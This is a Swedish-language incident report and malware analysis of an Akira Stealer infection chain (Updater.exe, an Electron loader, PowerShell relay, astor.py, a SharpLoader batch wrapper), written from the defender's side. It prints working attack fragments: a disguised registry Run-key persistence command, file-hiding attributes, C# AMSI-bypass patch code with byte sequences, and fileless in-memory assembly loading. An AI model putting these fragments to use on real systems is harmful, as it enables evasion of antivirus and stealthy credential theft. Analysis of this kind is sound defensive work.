Inuti Akira Stealer: En fullständig teknisk analys av en modulär stealer
Det började med en enda Defender-varning i Microsoft 365. Ingen skadlig kod, inga signaturer, ingen panik. Bara en viskning i bruset. Det vi grävde fram var månader av stulna inloggningsuppgifter, kirurgiskt, tyst och nästan osynligt. Så här förvandlade vårt CSOC en tyst signal till en fullskalig insats. Och gav vår kund tillbaka kontrollen innan de ens visste att den var borta.

Prolog
Det började som så många moderna attacker gör: tyst. En Defender-varning med låg konfidens, "Suspicious sequence of exploration activities", dök upp under onboardingfasen av en ny kund i vårt glueckkanja Cyber Security Operations Center (CSOC).
Det fanns inga signaturträffar. Inga klassificeringar av skadlig kod. Ingen respons från realtidsskyddet. Bara en enda beteendekorrelation i Microsoft 365 Defender, begravd i bruset, och ändå omisskännligt fel.
Under triagen av varningen fångade en specifik åtgärd min uppmärksamhet: python.exe hade kommit åt både filen Login Data och Web Data i en Chromium-profil. Microsoft Defender eskalerade omedelbart detta till en incident med hög allvarlighetsgrad, "Possible theft of passwords and other sensitive web browser information."
Det här var ingen falsk positiv. Det var toppen av något djupare.
När jag spårade telemetrin bakåt hittade jag en generisk binär i startmappen, Updater.exe, som startade en NodeJS-baserad wrapper (main.exe) som körde en kommandorad för att starta ett skript vid namn astor.py via python.exe.
Updater.exe → main.exe → cmd.exe → python.exe Crypto\Util\astor.py
Skriptet skrapade inte bara inloggningsuppgifter, det utförde en sekvens av spaningssteg efter kompromettering, inklusive registerförfrågningar, systemfingeravtryck och behörighetsmedveten uppräkning. Det arbetade med kirurgisk precision och efterliknade systemets eget beteende för att undgå upptäckt. Och det fungerade, nästan.
Vid tidpunkten för den första insatsen:
Updater.exeflaggades av bara 1 av 69 motorer på VirusTotal.main.exe,astor.pyoch alla tillhörande komponenter flaggades i princip inte alls på VirusTotal.- Inga filer var signerade. Ingen förhöjd kontext. Bara "vanliga" processer som gjorde mycket ovanliga saker.
Updater.exe rörde inte inloggningsuppgifterna. Den uppgiften var reserverad för astor.py, den minnesbaserade Python-payloaden, en fil som per design nästan inte lämnade några spår.
Inom 21 minuter isolerades det påverkade systemet från nätverket. Inom 70 minuter roterades inloggningsuppgifterna över alla påverkade omfattningar: interna identiteter, SaaS-plattformar, tredjepartstjänster.
Men den verkliga vändpunkten kom när vi extraherade och fullständigt dekrypterade Python-payloaden. Det vi hittade var inte en generisk stealer, det var en anpassad distribution av Akira Stealer v2, en kommersiellt distribuerad familj av skadlig kod som säljs via Telegram.
Tack vare vår interna threat intelligence och våra reverse engineering-förmågor kunde vi rekonstruera skadekodens fullständiga funktionalitet, extrahera alla inbäddade indikatorer och i detalj förstå dess logik för staging, exfiltrering och val av inloggningsuppgifter.
Ännu viktigare, vi stannade inte vid teknisk attribuering. Vi gick längre.
Vi kunde förse kunden med ett komplett dataset över exfiltrerade inloggningsuppgifter: över 100 unika kombinationer av användarnamn och lösenord, inklusive åtkomstuppgifter till molntjänster, CRM-system, interna plattformar och till och med personliga verktyg som nyckelmedarbetare använde. Stölden hade pågått i månader, och vi kunde redogöra för allt.
Med hjälp av insikterna från det här fallet byggde vi ett analysverktyg för efterinfektion som skannar påverkade system, rekonstruerar mönster för åtkomst till inloggningsuppgifter och genererar detaljerade forensiska rapporter, som visar exakt vad som stals, när och varifrån.
Vi bjuder på en glimt av den skannern i slutet av den här rapporten.
För det här är mer än bara en incident. Så här utreder vi. Så här skyddar vi.
Välkommen till glueckkanja CSOC.
Så här arbetar vi, för intrång väntar inte.
1. Ursprunglig händelse och triage-sammanfattning
Den 31 mars 2025 genererade Microsoft Defender for Endpoint en varning med etiketten "Suspicious sequence of exploration activities" på en Windows 10 64-bitars endpoint. Jag inledde triagen utifrån denna signal och granskade det påverkade systemet med hjälp av processträdet, systemets tidslinje och de bevis som Defender korrelerat.
1.1 Tidslinjebaserad triage
Varningen pekade på en sekvens av processer som motiverade närmare inspektion. Under den inledande granskningen observerade jag följande åtkomstmönster till Chrome-webbläsardata i den lokala användarprofilen:
%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data%LOCALAPPDATA%\Google\Chrome\User Data\Default\Web Data
Dessa åtkomster initierades av en process vid namn Updater.exe. Även om Microsoft Defender inte hade flaggat binären utifrån heuristisk eller beteendemässig analys, hittade jag en detektion för Updater.exe på VirusTotal, flaggad av en enda motor vid den tidpunkten.

Den fullständiga observerade exekveringskedjan såg ut så här:
winlogon.exe
└── userinit.exe
└── explorer.exe
└── Updater.exe
└── main.exe
└── cmd.exe /d /s /c "python.exe Crypto\Util\astor.py"
└── python.exe Crypto\Util\astor.py
I det här skedet hade ingen djupare statisk eller dynamisk analys av de inblandade filerna utförts. Mitt fokus låg på att förstå beteendet och kontexten på en övergripande nivå. Processnamnen och filsökvägarna var generiska, och inga misstänkta kommandoradsargument fanns utöver den kedjade Python-exekveringen.
1.2 Första insatsen
Inom 21 minuter efter den första varningen initierade jag hostisolering med hjälp av isoleringsfunktionerna i Defender for Endpoint. Målet var att förhindra möjlig ytterligare spridning eller exfiltrering.
Inom de första 70 minuterna gick vi vidare med att rotera inloggningsuppgifter som var kända för att användas på den påverkade hosten, vilket täckte interna system, SaaS-plattformar och kritiska tredjepartsleverantörer.
Reverse engineering-processen inleddes efter den första inneslutningen. Följande avsnitt dokumenterar den tekniska fördjupningen som följde för att utreda intrånget.
1.3 Sammanfattning av insatsen: snabb, transparent, effektdriven
Vår insats kombinerade snabbhet, expertis och operativ excellens, med stöd av beprövade arbetsflöden och full insyn för kunden.
- Från detektion till full inneslutning på under 90 minuter Defender-varningar, nätverksisolering, antivirusskanning och återkallande av inloggningsuppgifter utfördes snabbt och samordnat.
- Fördjupad forensisk insats inom 48 timmar Inklusive fullständig disk- och minnesanalys, granskning av webbläsarartefakter, detektering av credential dumping och beteendemässig rekonstruktion av angriparens aktivitet.
- Säker dataåterställning och bevishantering Den stulna datan, inklusive cookies, lösenord, tokens och webbläsarprofiler, återställdes, arkiverades forensiskt och överlämnades säkert till kunden.
- Insyn och kommunikation från början till slut Varje steg, från första varning till åtgärd och genomgång, dokumenterades fullständigt, delades i realtid och sammanfattades i en strukturerad CSIRT-överlämning.
Den här incidenten visar hur glueckkanja CSOC inte bara stoppar skadlig kod, vi monterar ner dess effekter, återställer kontrollen till våra kunder och förvandlar varje incident till insikt.
2. Skadlig kods arkitektur och exekveringskedja
Den skadliga kod som observerades på den påverkade endpointen följde en strukturerad arkitektur i flera steg med tydlig ansvarsfördelning: distribution, avkodning, exekvering och dataexfiltrering.
2.1 Översikt över exekveringskedjan
Det observerade exekveringsflödet såg ut så här:
Updater.exe
└── main.exe
└── cmd.exe
└── python.exe astor.py
Varje komponent i kedjan bidrog till smygförmåga, modularitet och undanflykt. Arkitekturen utnyttjade legitima runtimes och standardtolkar i operativsystemet för att kringgå detekteringsmekanismer.
2.1.1 Osäkert ursprung: saknad initial vektor
Trots omfattande analys av miljön efter kompromettering kunde den initiala åtkomstvektorn inte fastställas med säkerhet. Denna osäkerhet beror främst på att den skadliga koden hade varit aktiv i uppskattningsvis sex månader innan den upptäcktes, vilket överskrider den loggretentionsperiod som Microsoft Defender for Endpoint tillämpar.
Som en följd av detta fanns ingen telemetri eller några forensiska artefakter tillgängliga från den ursprungliga infektionstidpunkten. Inga ursprungliga processkapningshändelser, fildroppar eller kommandoradsposter kopplade till leveransstadiet gick att återskapa från Defenders tidslinje eller tillhörande sensorer.
Baserat på kontextuella indikatorer och OSINT-källor kan en trolig infektionsvektor ha involverat:
- Trojaniserade installationsprogram för crackad eller moddad spelprogramvara
- Falska verktyg eller "prestandaboostare" som distribueras via forum och tredjepartssajter
- Skadliga webbläsartillägg riktade mot specifika användarintressen (t.ex. kryptorelaterade verktyg eller Discord-förbättringar)
Detta förblir dock spekulativt.
Ingen bekräftad dropper, nätfiskemejl eller komprometterad webbplats kunde identifieras under utredningen. Även om den skadliga kodens arkitektur och exekveringskedja rekonstruerades fullständigt kunde den ursprungliga komprometteringspunkten (MITRE ATT&CK T1190 / T1566) inte valideras.
2.1.2 Updater.exe – Initial loader
När jag granskade processträdet i Microsoft 365 Defender stack Updater.exe omedelbart ut, inte på grund av vad den gjorde, utan hur tyst den bäddade in sig i systemets exekveringsflöde.
Denna binär registrerades för automatisk körning via standardnyckeln Run i Windows:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
Det innebar att den skulle startas varje gång användaren loggade in i sin session, en klassisk persistensmekanism som inte kräver några förhöjda behörigheter och ofta slinker igenom obemärkt i EDR-telemetri.
- Filtyp: Windows PE-körbar fil (32-bitars)
- Signatur: Osignerad
- VirusTotal-detektion: 1 av 69 motorer vid tidpunkten för triagen
- Exekveringskontext: Medelhög integritet, användarsession
- Plats:
AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
Själva filen var liten, rent kompilerad och oanmärkningsvärd ur ett statiskt analysperspektiv. Inga misstänkta strängar, inga krypterade sektioner och inga indikatorer på obfuskering eller packning. Den importerade endast en minimal uppsättning standard-API-funktioner i Windows och innehöll ingen inbäddad payload.
Dess beteende var dock mer talande. När den väl startats extraherade Updater.exe en Electron-applikation ur ett medföljande arkiv, en fristående NodeJS-runtime paketerad med standardverktyg för Electron. Den uppackade mappen innehöll en körbar fil vid namn main.exe, som därefter startades som en underprocess.
Updater.exe → main.exe
Det fanns inga nätverksindikatorer i det här skedet, ingen processinjektion och ingen avvikelse i behörigheter eller tokenförhöjning. Hela rollen för Updater.exe verkade vara den av en loader, som levererade en andrastegskomponent (main.exe) in i miljön, sannolikt med målet att bevara smygförmåga och modularitet.
Den här typen av arkitektonisk uppdelning är vanlig i modern skadlig kod och stealer-verktygssatser av hyllvara. Den initiala loadern fungerar bara som en distributionsstubbe och låter den tyngre logiken, ofta obfuskerad, tolkad eller dynamiskt genererad, ligga i senare steg.
I det här fallet fyllde Updater.exe exakt det syftet: ett tyst initialt fotfäste utformat för att smälta in, förbli oupptäckt och bana väg för exekveringen av den faktiska stealer-logiken i main.exe och slutligen astor.py.
Den rörde inte filsystemet utöver sin egen katalog och utlöste inga beteenderegler, och ändå var den den första brickan att falla i en lång och omsorgsfullt konstruerad attackkedja.
2.1.3 main.exe – Obfuskerad NodeJS-payloadbehållare
Efter exekveringen av Updater.exe startades en andrastegsbinär vid namn main.exe. Denna komponent presenterade sig som en vanlig Electron-applikation, en runtime-miljö som paketerar Node.js och Chromium och ofta används för plattformsoberoende skrivbordsappar. Dess oskyldiga natur är en del av det som gör den så farlig i fel händer.
Vid inspektion innehöll main.exe ett internt arkiv vid namn app.asar, standardformatet för paketering av Electron-baserade applikationer. Till skillnad från legitima Electron-appar var innehållet i det här arkivet dock allt annat än vanligt.
- Plattform: Electron (Node.js + Chromium)
- Arkitektur: 64-bitars Windows
- Innehållsstruktur: Inbäddade JavaScript-filer i
app.asar - Obfuskeringsnivå: Hög, uppnådd med
js-confuser, en kommersiellt tillgänglig obfuskeringsverktygssats för JavaScript
När den väl dekompilerats och deobfuskerats blev kärnlogiken i main.exe tydlig. Dess syfte var inte att visa ett GUI eller köra någon frontendlogik, i stället fungerade den som en dold exekveringsorkestrerare.
Observerat beteende:
- Dekrypterar och rekonstruerar ett Base64-kodat PowerShell-kommando som lagras i JavaScript-payloaden
- Startar
cmd.exeför att köra PowerShell-kommandot inline - PowerShell-kommandot anropar i sin tur
python.exeoch skickar in ett skript som ligger under en till synes ofarlig katalogstruktur (Crypto\Util\astor.py)
main.exe → cmd.exe /d /s /c powershell → python.exe Crypto\Util\astor.py
Denna kedjning gjorde det möjligt för angriparen att växla exekveringskontext och undgå enkel detektering. Eftersom payloaden var obfuskerad och stagad i minnet var traditionella signaturbaserade kontroller verkningslösa.
Electron-ramverket erbjöd en idealisk täckmantel, det tillät exekvering av godtycklig JavaScript samtidigt som det undvek granskning. JavaScript-baserad exekvering införde också plattformsoberoende kompatibilitet, vilket möjliggjorde flexibel distribution och enklare integration av dynamisk styrlogik.
Det som gjorde main.exe särskilt farlig var dess förmåga att arbeta utan att droppa några ytterligare filer utöver det som redan hade stagats. Stealer-skriptet anropades direkt från disk, men all staging- och exekveringslogik förblev inbäddad i Electron-buntet.
Sammanfattningsvis fungerade main.exe som den obfuskerade, flerskiktade exekveringskärnan, som grindvakt mellan initial persistens och den fullständiga aktiveringen av Akira Stealer-payloaden i astor.py.
2.1.4 cmd.exe och PowerShell-relä
Detta steg i exekveringskedjan fungerade som ett relä, inte för payloadlogik, utan för obfuskering och indirektion.
Efter att main.exe slutfört sin roll att packa upp och avkoda payloaden startade den en cmd.exe-process. Denna process innehöll ingen skadlig logik i sig, och den skrev inte till eller ändrade filer. Dess enda syfte var att fungera som en wrapper för att starta en PowerShell-session med ett kodat kommando.
Denna metod är en välkänd taktik som används för att minska synligheten och undvika detektering:
- Exekveringskedja:
main.exe → cmd.exe /d /s /c "powershell -EncodedCommand <Base64Payload>" - Syfte:
- Kapslar in PowerShell-exekvering i ett ytterligare skal
- Döljer den faktiska PowerShell-koden från direkt synlighet i loggar
- Undgår EDR:er som utlöses av direkt användning av
powershell.exemed misstänkta parametrar
Genom att bädda in PowerShell-skriptet som en Base64-kodad sträng och anropa det via cmd.exe undvek angriparen flera former av detektering:
- Heuristiska filter för kommandorader
- Standardloggning (t.ex. Event ID 4104, 4688)
- Regelbaserade detektioner för
powershell.exe-argument som-NoProfile,-ExecutionPolicy Bypasseller inline-skript
Noterbart är att PowerShell-kommandot hölls minimalt och enbart inriktat på att starta python.exe med en sökväg till det inbäddade stealer-skriptet, astor.py. Inga ytterligare moduler laddades, och inga uppenbara signaturer fanns i minnet.
Denna reläteknik används ofta både inom red teaming och av sofistikerade infostealers, som ett lättviktigt undanflyktsskikt som är enkelt att implementera men svårt att fånga utan telemetrikorrelation.
I det här fallet fyllde cmd.exe exakt det syftet: en enkel, tyst brygga mellan JavaScript-logik och Python-exekvering, en som nästan slank igenom obemärkt.
2.1.5 python.exe med astor.py
Det sista och mest verkningsfulla steget i exekveringskedjan nåddes när python.exe anropade astor.py, en Python-baserad, modulär infostealer som helt och hållet arbetar i minnet. Detta skript utgjorde den operativa kärnan i hela attackkedjan.
Till skillnad från många stealers av hyllvara distribuerades inte astor.py i klartext. Det skyddades av en flerskiktad dekrypteringsmekanism:
- Dekrypteringsstack: Filen komprimerades först med GZIP och krypterades sedan med AES-256-CBC.
- Nyckelderivering: En PBKDF2-baserad nyckelderiveringsprocess användes (SHA-512, 1 000 000 iterationer), vilket gör statisk analys och brute-forcing högst opraktiskt.
När skriptet väl dekrypterats vid körning körde det flera specialiserade moduler, alla inriktade på känsliga datakällor:
Kärnförmågor
- Extrahering av webbläsardata: Hämtade inloggningsuppgifter, cookies och autofyll-data från Chromium-baserade webbläsare (Chrome, Edge, Brave, Opera)
- Insamling av tokens: Samlade in sessionstokens, särskilt från Discord, och sökte efter tillägg för kryptovalutaplånböcker
- Datapaketering: Aggregerade all insamlad data i ett strukturerat ZIP-arkiv och bevarade katalog- och filkontext för angriparens tolkning
- Exfiltrering: Laddade upp det resulterande arkivet till publika API:er och infrastruktur.
Exekveringskontext
Hela stealer-logiken kördes från minnet, utan några persistenta filer skrivna till disk. Den lämnade minimala telemetrispår utöver artefakter i processminnet och standardanrop av underprocesser. Inget försök gjordes att etablera persistens i det här skedet, målet var snabb, effektiv och tyst datastöld.
Användningen av legitima API:er för exfiltrering gjorde också detektering och förebyggande betydligt svårare, eftersom den utgående trafiken smälte in i rutinmässig internetaktivitet.
Detta steg bekräftade slutligen den skadliga kodens identitet: en variant av Akira Stealer v2, känd för sin:
- Höga modularitet
- Obfuskering vid körning
- Kommersiella distribution via Telegram
- Starka fokus på insamling av inloggningsuppgifter och tokenbaserad sessionskapning
Tillsammans med de tidigare stegen bildade astor.py den kritiska slutpunkten i en smygande och välkonstruerad infostealer-kedja. I de följande avsnitten dissekerar vi denna komponent ytterligare och förklarar hur vi bakåtutvecklade dess logik, kartlade dess infrastruktur och återställde varje komprometteringsindikator som användes under dess drift.
3. Deep Dive: Updater.exe
Updater.exe var den första binären som observerades under analysen efter intrånget. Trots sitt neutrala utseende och försumbara detektionsavtryck spelade den en avgörande roll för att upprätthålla malwarens operativa persistens och leverera nästa stegs payload.
3.1 Egenskaper
| Property | Value |
|---|---|
| Format: | Windows Portable Executable (PE32) |
| Architecture: | x86-64 |
| Size: | ~154 KB |
| Entropy: | Normal (non-packed) |
| Signatures: | None |
| VirusTotal Detection: | 1/69 at time of analysis |
Filen uppvisade en ren importtabell och inga inbäddade strängindikatorer. Inga kända packers, crypters eller mekanismer för runtime-obfuskering upptäcktes. Strukturen stämde överens med anpassat kompilerade binärer.
3.2 Beteendeanalys
Ingen användarinteraktion krävs
Malwarekedjan kördes utan någon nödvändig användarinteraktion. Baserat på Defenders processtelemetri startades den första binären (Updater.exe) automatiskt, troligen via en persistensmekanism som en autorun-nyckel i registret. På grund av intrångets ålder och avsaknaden av historiska händelseloggar gick den exakta persistensmetoden dock inte att återskapa.
Tyst exekvering och staging
Vid exekvering startade Updater.exe omedelbart main.exe utan något synligt fönster och utan användardialoger. Staging skedde tyst i bakgrunden. Det fanns inga tecken på samtyckesdialoger, UAC-prompter eller GUI-komponenter.
Beteende vid payload-utrullning
main.exe visade sig vara en del av en Electron-applikationsstruktur, men det exakta ursprunget för dess utrullning är fortfarande oklart. Ett av följande antas:
- Payloaden kan ha buntats internt i
Updater.exe(t.ex. som en inbäddad resurs), eller - den kan ha hämtats från en fjärrkälla
På grund av avsaknad av nätverkstelemetri och ingen återfunnen hårdkodad URL förblir leveransvektorn för Electron-appen oklar.
Beteende i processkedjan
När Updater.exe väl körts skapade den main.exe som en barnprocess. Anropet var icke-interaktivt, och ingen process som skapades från kedjan uppvisade UI-aktivitet. Processkedjan fortsatte som väntat:
Updater.exe → main.exe → cmd.exe → powershell (encoded) → python.exe astor.py
Alla exekveringssteg fungerade utan att kräva användarinmatning, och förlitade sig enbart på förkonfigurerad startlogik och tysta exekveringsvägar. Detta minimerade exponeringen och hjälpte malwaren att förbli oupptäckt under en längre period.
3.3 Roll i infektionskedjan
Updater.exe spelade en enda men väsentlig roll inom den bredare infektionskedjan: den ansvarade för persistensen och återutrullningen av stage-2-komponenten main.exe.
Bekräftade egenskaper
- Den innehöll eller körde inte skadlig logik direkt
- Den utförde ingen dataexfiltrering
- Den interagerade inte med webbläsarens credential stores eller känslig användardata
Dess enda syfte var att tyst starta main.exe vid användarinloggning, med en autorun-post i registret som den mest sannolika persistensmetoden (även om den inte återfanns direkt på grund av telemetribegränsningar).
Genom att fungera som en isolerad first-stage loader såg Updater.exe till att själva stealer-payloaden (astor.py) förblev dold i djupare exekveringslager. Denna uppdelning av uppgifter lät angriparna:
- Undvika korrelation via statiskt AV eller sandbox-system
- Byta ut eller uppdatera payloads utan att modifiera loadern
- Minska beteendesignaler vid ingångspunkten
Detta mönster är typiskt i malware-as-a-service (MaaS)-operationer, där leveransmekanismerna är generiska och payloads är modulära eller klientspecifika.
I det här fallet gav Updater.exe precis tillräckligt med logik för att fungera som en pålitlig och smygande ingångspunkt: inget mer, men inte heller något mindre.
3.4 Persistens via registret (bekräftad i astor.py)
Statisk analys av Python-payloaden visade att Updater.exe uttryckligen görs persistent med en autorun-post i registret:
- Registry Path:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run - Value Name:
Realtek Audio - Payload Path:
%APPDATA%\Microsoft\Internet Explorer\UserData\Updater.exe
Motsvarande registerkommando körs via PowerShell:
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Realtek Audio" /t REG_SZ /d "...\Updater.exe" /f
Detta säkerställer att malwaren startas vid varje användarinloggning. Filen märks också med attributen hidden och system för att ytterligare undvika detektion:
attrib +h +s "Updater.exe"
Denna persistensmekanism var inbäddad direkt i astor.py-koden, vilket bekräftar att stealern i slutsteget aktivt håller loadern närvarande på disk och i startregistret.
3.5 Sammanfattning
Även om
Updater.exeinte var skadlig i sig till struktur eller innehåll, bekräftade dess kontextuella beteende i exekveringskedjan dess roll som malware loader.
Denna binär fungerade som en ren, minimalistisk first-stage launcher som undvek detektion av statisk analys, AV-motorer och beteenderegler. Dess design fokuserade enbart på smygande och operativt stöd, inte på att köra skadlig logik själv.
Dess roll sträckte sig dock bortom den initiala utrullningen. Under reverse engineering av astor.py-payloaden identifierade vi logik som aktivt kontrollerade om Updater.exe fanns närvarande. Denna kontroll var en del av en bredare health- och self-healing-cykel som implementerades i stealer-koden, en mekanism utformad för att verifiera integriteten i infektionskedjan och återställa saknade komponenter vid behov.
Det innebär att Updater.exe inte bara ansvarade för att initiera malwaren, utan också utgjorde en del av dess löpande runtime-validering. Utan denna stub kunde malwaren förlora sin förmåga att återinitieras i framtida sessioner.
Centrala funktioner hos Updater.exe:
- Smidig utrullning av
main.exe - Indirekt exekvering av
astor.py - Frikoppling av loader- och payload-logik
- Refererad av payloaden själv som en del av den operativa health-övervakningen
I avsnitt 5 går vi in på detaljerna kring stealerns interna health-check-rutiner, inklusive dess self-healing-beteende och mekanismer för integritetsvalidering.
För tillfället står det klart att Updater.exe fungerade som både tändning och ankarpunkt i denna lagerbaserade infostealer-arkitektur.
3.6 Extraktionstrick: att överlista loadern
Ibland kommer de bästa resultaten inom reverse engineering inte från djupgående binär-disassemblering, utan från lite list och tålamod.
När vi analyserade infektionen i en kontrollerad labbmiljö lade vi märke till något underligt: Updater.exe fanns närvarande och kördes, men main.exe hade försvunnit från filsystemet. Då fick vi en idé: vad händer om vi låter malwaren reparera sig själv?
Vi raderade main.exe medvetet från den infekterade miljön och lämnade Updater.exe orörd. Och mycket riktigt, efter nästa inloggning i användarsessionen gick loadern till verket, inte med ett utbrott, utan med ett tyst försök att återuppbygga sitt andra steg.
Här blev det intressant: i stället för att direkt återskapa main.exe släppte Updater.exe först en fil vid namn app-64.7z, ett vanligt 7-Zip-arkiv. Detta arkiv innehöll hela Electron-applikationsstrukturen, inklusive main.exe, resources och app.asar-payloaden med all inbäddad logik.
Vi hade i praktiken tvingat malwaren att lämna över källpaketet till oss.

Med detta 7z-arkiv i handen kunde vi extrahera, dekomprimera och fullständigt reversa den JavaScript-baserade orkestreringslogiken utan att ens röra den ursprungliga loadern igen. Arkivstrukturen matchade den förväntade Electron-app-layouten perfekt.
Detta beteende tyder starkt på att angriparna medvetet valde en modulär och underhållbar arkitektur, där de använde arkiv som flexibla payload-containrar. Det lät dem också byta ut eller uppdatera payload-komponenter utan att kompilera om loader-binären.
Och i vårt fall? Det lät oss överlista deras kedja, avlyssna droppen och gå därifrån med hela paketet, som att stjäla ritningarna från arbetsbänken medan byggaren tittade bort.
Låt oss uttrycka det så här: ibland är de bästa forensiska verktygen del, wait och lite nyfikenhet.
4. Deep Dive: pow.bat
I den analyserade malwarekampanjen fungerar komponenten Invoke-SharpLoader som en anpassad, minnesresident .NET-loader som uppvisar ett mycket modulärt och undvikande exekveringsflöde. Det här avsnittet dissekerar dess interna arkitektur, dess anti-analysstrategi via AMSI-patchning och dess roll i att möjliggöra andra stegets payload.
4.1 Binära egenskaper – SharpLoader Batch Wrapper
Innan den körs för att ladda .NET-payloaden i minnet uppvisar den yttre wrappern pow.bat följande egenskaper enligt statisk analys:
| Property | Value |
|---|---|
| Format: | DOS Batch File |
| Architecture: | Script-based (not compiled binary) |
| File Size: | 27.79 KB (28454 bytes) |
| Entropy: | Normal (plain ASCII text) |
| Magic: | DOS batch file, ASCII text |
| Digital Signature: | None detected |
| VirusTotal Detection: | 26 / 61 (at time of analysis) |
| Threat Labels: | trojan, downloader, powershell, agentb |
Trots att det är en enkel .bat-fil undviker skriptet många statiska detektioner och förlitar sig i hög grad på living-off-the-land-tekniker som PowerShell för att ladda ner och köra obfuskerade och krypterade payloads.
4.2 AMSI Bypass-teknik (klass: gofor4msi)
En av de första försvarsmekanismerna som SharpLoader kringgår är AMSI, Anti-Malware Scan Interface, en Microsoft-funktion som är integrerad i skriptmotorer som PowerShell och Windows Script Host för att tillhandahålla realtidsskanning av innehåll efter misstänkt beteende. Malwareutvecklare försöker ofta kringgå AMSI för att undvika detektion av endpoint-skyddssystem.
I SharpLoader implementeras AMSI-bypassen genom direkt in-memory-patchning av funktionen AmsiScanBuffer i amsi.dll. Denna funktion ansvarar normalt för att analysera skriptinnehåll och returnera en resultatkod som anger om innehållet är misstänkt (AMSI_RESULT_DETECTED) eller säkert (AMSI_RESULT_CLEAN).
Den relevanta koden för in-memory-patchning är:
var lib = Win32.LoadLibrary("amsi.dll");
var addr = Win32.GetProcAddress(lib, "AmsiScanBuffer");
Win32.VirtualProtect(addr, (UIntPtr)patch.Length, 0x40, out oldProtect);
Marshal.Copy(patch, 0, addr, patch.Length);
Denna sekvens utför följande steg:
- Ladda AMSI-DLL:n in i processen med
LoadLibrary("amsi.dll"). - Lös upp minnesadressen för funktionen
AmsiScanBufferviaGetProcAddress(). - Ändra minnesskyddet för adressen med
VirtualProtect()för att göra den skrivbar. - Skriv över början av funktionen med
Marshal.Copy()med en liten shellcode-patch.
Patchen som appliceras för 64-bitarssystem är:
static byte[] x64 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }; // mov eax, 0x80070057; ret
Detta motsvarar följande instruktioner:
mov eax, 0x80070057→ sätter returkoden till Windows-felkodenE_INVALIDARGret→ returnerar omedelbart från funktionen
Detta gör i praktiken att AmsiScanBuffer misslyckas tyst och returnerar ett icke-detektionsresultat, vilket neutraliserar AMSI-kontrollerna. Malwaren kan nu köra skript eller .NET-kod som annars skulle utlösa antiviruslarm.
Om koden körs på ett 32-bitarssystem appliceras en annan patch:
static byte[] x86 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 }; // mov eax, ...; ret 0x18
Detta återspeglar samma mål, att framtvinga ett rent resultat, men anpassat till x86-anropskonventionen.
Att använda råa P/Invoke-anrop som LoadLibrary, GetProcAddress och VirtualProtect gör att denna patchning kan utföras dynamiskt och utan att anropa några API:er på hög nivå som kan övervakas av EDR-verktyg. Denna metod är kompakt, effektiv och lämnar minimala forensiska artefakter.
Sammanfattningsvis är denna AMSI-bypass-teknik en lågnivåattack riktad direkt mot antivirus-gränssnittet i minnet, utförd på millisekunder under runtime. Det är ett kraftfullt exempel på varför beteendeövervakning och minnesinspektion är avgörande i moderna endpoint-försvarssystem.
4.3 Hantering av stage 2-payload
Efter att AMSI-bypassen är klar går loadern vidare med att hämta och förbereda andra stegets payload. Denna payload är inte inbäddad i själva loadern utan hämtas antingen från en fjärrserver eller läses från disk, beroende på hur loadern anropas via parametern $location.
Om platsen börjar med http tolkas den som en URL och loadern använder Get_Stage2() för att ladda ner payloaden via HttpWebRequest. Om det är en lokal sökväg läser Get_Stage2disk() innehållet direkt från filsystemet. I båda fallen är det förväntade filinnehållet en blob som är Base64-kodad, GZip-komprimerad och AES-krypterad.
Loadern utför sedan en fyrstegs-pipeline för avkodning och dekryptering helt i minnet:
- Base64-avkodning: Konverterar den kodade strängen till råa bytes. Detta steg är utformat för att dölja det faktiska binära innehållet från verktyg för statisk inspektion och förhindrar enkel mönstermatchning.
- GZip-dekomprimering: De avkodade byten skickas till en
GZipStream, som dekomprimerar payloaden. Komprimering minskar filstorleken och lägger till ytterligare ett lager av obfuskering. - AES-dekryptering: De komprimerade byten dekrypteras med AES (Rijndael) i CBC-läge. Nyckeln härleds vid runtime från det användarangivna lösenordet via SHA-256-hashning kombinerat med PBKDF2 (
Rfc2898DeriveBytes) och ett statiskt salt. - Salt-borttagning: Det dekrypterade resultatet innehåller fortfarande ett salt-prefix med fast längd (4 bytes). Dessa bytes tas bort manuellt för att få den rena binära blobben som representerar en giltig .NET-assembly.
Dekrypteringspipelinen körs så här:
byte[] passwordBytes = SHA256.Create().ComputeHash(Encoding.UTF8.GetBytes(password));
byte[] bytesDecrypted = AES_Decrypt(decompressed, passwordBytes);
Här är AES_Decrypt() en anpassad funktion som omsluter Rijndael-algoritmen, konfigurerad med en 256-bitars nyckel och en 128-bitars IV (initialiseringsvektor), båda härledda från lösenordet.
Centrala designobservationer:
- Användningen av AES-CBC med PBKDF2 gör brute-forcing av lösenordet icke-trivialt.
- Eftersom dekrypteringen sker i minnet skrivs inga mellanresultat någonsin till disk, vilket minskar forensiska artefakter.
- Om fel lösenord anges misslyckas dekrypteringen tyst eller producerar ogiltig data, vilket kan leda till misslyckad exekvering eller svårspårade undantag.
Sammanfattningsvis höjer denna flerstegsansats för payload-hantering ribban avsevärt för både signatur- och heuristikbaserad statisk detektion. Utan antingen live-exekvering eller djupgående inspektion av loaderns beteende är det osannolikt att försvarare avslöjar den inbäddade payloaden utan att också känna till lösenordet och den exakta avkodningslogiken.
4.4 Dynamisk assembly-laddning
När andra stegets payload väl har dekrypterats framgångsrikt representerar den resulterande byte-arrayen en giltig .NET-assembly. I stället för att skriva denna assembly till disk, en vanlig indikator för antivirus- eller EDR-system, kör SharpLoader den direkt i minnet med reflection:
Assembly a = Assembly.Load(bin);
a.EntryPoint.Invoke(null, new object[] { commands });
Denna teknik kallas fileless execution. Den är mycket undvikande eftersom den:
- Undviker att röra disken och lämnar inga filbaserade IOC:er (indicators of compromise)
- Gör traditionell forensisk insamling svårare, eftersom ingen binär sparas på disk
- Undviker statisk signaturbaserad detektion, eftersom AV-motorer ofta förlitar sig på att skanna filer
Om EntryPoint inte är static inkluderar loadern en fallback-logik:
MethodInfo method = a.EntryPoint;
if (method != null)
{
object o = a.CreateInstance(method.Name);
method.Invoke(o, null);
}
Detta säkerställer kompatibilitet med assemblies som kräver ett instansierat objekt för exekvering (t.ex. public int Main() inuti en klassinstans). Koden skapar dynamiskt en instans av klassen och anropar sedan entry point-metoden.
